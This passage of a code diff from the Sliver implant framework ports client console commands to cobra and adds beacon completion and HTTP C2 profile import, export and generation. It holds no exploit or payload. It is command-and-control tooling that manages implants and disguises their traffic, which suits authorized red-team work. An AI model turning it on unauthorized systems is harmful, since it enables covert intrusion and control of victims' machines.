}
|
||||
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
|
||||
return
|
||||
}
|
||||
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
values := describedValuesToTabs(beaconCompletionPairs(con))
|
||||
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
|
||||
})
|
||||
}
|
||||
|
||||
func beaconCompletionPairs(con *console.SliverClient) []string {
|
||||
results := make([]string, 0)
|
||||
if con == nil || con.Rpc == nil {
|
||||
return results
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
|
||||
for _, b := range beacons.Beacons {
|
||||
link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress)
|
||||
id := fmt.Sprintf("%s (%d)", b.Name, b.PID)
|
||||
userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname)
|
||||
desc := strings.Join([]string{id, userHost, link}, " ")
|
||||
|
||||
results = append(results, b.ID[:8], desc)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func describedValuesToTabs(values []string) []string {
|
||||
tabbed := make([]string, 0, len(values)/2)
|
||||
for i := 0; i+1 < len(values); i += 2 {
|
||||
tabbed = append(tabbed, fmt.Sprintf("%s\t%s", values[i], values[i+1]))
|
||||
}
|
||||
return tabbed
|
||||
}
|
||||
|
||||
func filterCompletionValues(values []string, prefix string) []string {
|
||||
if prefix == "" {
|
||||
return values
|
||||
}
|
||||
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
@@ -20,15 +20,14 @@ package beacons
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -43,8 +42,10 @@ var (
|
||||
)
|
||||
|
||||
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
|
||||
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
func SelectBeacon(con *console.SliverClient) (*clientpb.Beacon, error) {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -81,12 +82,8 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a beacon:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
_ = forms.Select("Select a beacon:", options, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -100,8 +97,10 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
func GetBeacon(con *console.SliverClient, beaconID string) (*clientpb.Beacon, error) {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -109,15 +108,17 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
return nil, ErrBeaconNotFound
|
||||
}
|
||||
|
||||
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
func GetBeacons(con *console.SliverClient) (*clientpb.Beacons, error) {
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -19,25 +19,28 @@ package beacons
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsPruneCmd - Prune stale beacons automatically
|
||||
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
|
||||
func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
duration, _ := cmd.Flags().GetString("duration")
|
||||
pruneDuration, err := time.ParseDuration(duration)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -59,7 +62,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
|
||||
for index, beacon := range pruneBeacons {
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
@@ -68,14 +71,13 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.Println()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Prune these beacons?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
_ = forms.Confirm("Prune these beacons?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
errCount := 0
|
||||
for _, beacon := range pruneBeacons {
|
||||
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
errCount++
|
||||
|
||||
@@ -19,20 +19,21 @@ package beacons
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -24,13 +24,14 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsWatchCmd - Watch your beacons in real-ish time
|
||||
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
done := waitForInput()
|
||||
defer func() {
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
# client/command/builders
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'builders' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `builders.go` – Fetches external builder metadata and formats it for console display.
|
||||
- `commands.go` – Registers the builders CLI command with its flags and completion helpers.
|
||||
@@ -27,12 +27,12 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// BuildersCmd - List external builders.
|
||||
func BuildersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
@@ -45,7 +45,7 @@ func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
package builders
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
buildersCmd := &cobra.Command{
|
||||
Use: consts.BuildersStr,
|
||||
Short: "List external builders",
|
||||
Long: help.GetHelpFor([]string{consts.BuildersStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
BuildersCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.PayloadsHelpGroup,
|
||||
}
|
||||
flags.Bind("builders", false, buildersCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
return []*cobra.Command{buildersCmd}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
# client/command/c2profiles
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'c2profiles' command group for the Sliver client console. Handlers map Cobra invocations to c2profiles workflows such as C2 profiles.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `c2profiles.go` – Implements listing, import/export, and generation routines for HTTP C2 profiles, including protobuf/JSON conversion helpers.
|
||||
- `commands.go` – Binds the c2profiles command suite with flag handling and completions for profile management operations.
|
||||
@@ -0,0 +1,626 @@
|
||||
package c2profiles
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// C2ProfileCmd list available http profiles
|
||||
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName, err = selectC2Profile(httpC2Profiles.Configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintC2Profiles(profile, con)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
overwrite, _ := cmd.Flags().GetBool("overwrite")
|
||||
|
||||
// retrieve and unmarshal profile config
|
||||
jsonFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
byteFile, _ := io.ReadAll(jsonFile)
|
||||
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
|
||||
err = json.Unmarshal(byteFile, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
|
||||
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName, err = selectC2Profile(httpC2Profiles.Configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
jsonProfile, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = os.WriteFile(filepath, jsonProfile, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Println(profileName, "C2 profile exported to ", filepath)
|
||||
}
|
||||
|
||||
func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
// load template to use as starting point
|
||||
template, err := cmd.Flags().GetString("template")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: template})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// read urls files and replace segments
|
||||
filepath, err := cmd.Flags().GetString("file")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
urlsFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
fileContent, err := io.ReadAll(urlsFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
urls := strings.Split(string(fileContent), "\n")
|
||||
|
||||
jsonProfile, err := updateC2Profile(config, urls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// save or display config
|
||||
importC2Profile, err := cmd.Flags().GetBool("import")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if importC2Profile {
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{C2Config: C2ConfigToProtobuf(profileName, jsonProfile)}
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println("C2 profile generated and saved as ", profileName)
|
||||
} else {
|
||||
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
|
||||
}
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: profile.ImplantConfig.NonceMode,
|
||||
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int(profile.ImplantConfig.MinPathLength),
|
||||
Extensions: profile.ImplantConfig.Extensions,
|
||||
}
|
||||
|
||||
var headers []assets.NameValueProbability
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
headers = append(headers, assets.NameValueProbability{
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
Method: header.Method,
|
||||
})
|
||||
}
|
||||
implantConfig.Headers = headers
|
||||
|
||||
var urlParameters []assets.NameValueProbability
|
||||
for _, urlParameter := range profile.ImplantConfig.ExtraURLParameters {
|
||||
urlParameters = append(urlParameters, assets.NameValueProbability{
|
||||
Name: urlParameter.Name,
|
||||
Value: urlParameter.Value,
|
||||
Probability: int(urlParameter.Probability),
|
||||
})
|
||||
}
|
||||
implantConfig.URLParameters = urlParameters
|
||||
|
||||
var (
|
||||
files []string
|
||||
paths []string
|
||||
)
|
||||
|
||||
for _, pathSegment := range profile.ImplantConfig.PathSegments {
|
||||
if pathSegment.IsFile {
|
||||
files = append(files, pathSegment.Value)
|
||||
} else {
|
||||
paths = append(paths, pathSegment.Value)
|
||||
}
|
||||
}
|
||||
implantConfig.Files = files
|
||||
implantConfig.Paths = paths
|
||||
|
||||
var serverHeaders []assets.NameValueProbability
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, assets.NameValueProbability{
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
Method: header.Method,
|
||||
})
|
||||
}
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
|
||||
serverConfig := assets.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: profile.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
config := assets.HTTPC2Config{
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
|
||||
return &config, nil
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
|
||||
|
||||
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
|
||||
httpC2Headers := []*clientpb.HTTPC2Header{}
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, file := range config.ImplantConfig.Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, path := range config.ImplantConfig.Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
for _, clientHeader := range config.ImplantConfig.Headers {
|
||||
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{
|
||||
Method: clientHeader.Method,
|
||||
Name: clientHeader.Name,
|
||||
Value: clientHeader.Value,
|
||||
Probability: int32(clientHeader.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
for _, urlParameter := range config.ImplantConfig.URLParameters {
|
||||
httpC2UrlParameters = append(httpC2UrlParameters, &clientpb.HTTPC2URLParameter{
|
||||
Method: urlParameter.Method,
|
||||
Name: urlParameter.Name,
|
||||
Value: urlParameter.Value,
|
||||
Probability: int32(urlParameter.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: config.ImplantConfig.NonceMode,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int32(config.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int32(config.ImplantConfig.MinPathGen),
|
||||
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int32(config.ImplantConfig.MinPathLength),
|
||||
Extensions: config.ImplantConfig.Extensions,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
serverHeaders := []*clientpb.HTTPC2Header{}
|
||||
for _, serverHeader := range config.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: serverHeader.Method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
serverCookies := []*clientpb.HTTPC2Cookie{}
|
||||
for _, cookie := range config.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
|
||||
Name: cookie,
|
||||
})
|
||||
}
|
||||
serverConfig := &clientpb.HTTPC2ServerConfig{
|
||||
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
|
||||
Headers: serverHeaders,
|
||||
Cookies: serverCookies,
|
||||
}
|
||||
|
||||
return &clientpb.HTTPC2Config{
|
||||
Name: profileName,
|
||||
ImplantConfig: implantConfig,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
}
|
||||
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Parameter",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// Profile metadata
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Profile Name",
|
||||
profile.Name,
|
||||
})
|
||||
|
||||
// Server side configuration
|
||||
|
||||
var serverHeaders []string
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, header.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Headers",
|
||||
strings.Join(serverHeaders[:], ","),
|
||||
})
|
||||
|
||||
var serverCookies []string
|
||||
for _, cookie := range profile.ServerConfig.Cookies {
|
||||
serverCookies = append(serverCookies, cookie.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Cookies",
|
||||
strings.Join(serverCookies[:], ","),
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Randomize Server Headers",
|
||||
profile.ServerConfig.RandomVersionHeaders,
|
||||
})
|
||||
|
||||
// Client side configuration
|
||||
|
||||
var clientHeaders []string
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
clientHeaders = append(clientHeaders, header.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Client Headers",
|
||||
strings.Join(clientHeaders[:], ","),
|
||||
})
|
||||
|
||||
var clientUrlParams []string
|
||||
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
|
||||
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Extra URL Parameters",
|
||||
strings.Join(clientUrlParams[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"User agent",
|
||||
profile.ImplantConfig.UserAgent,
|
||||
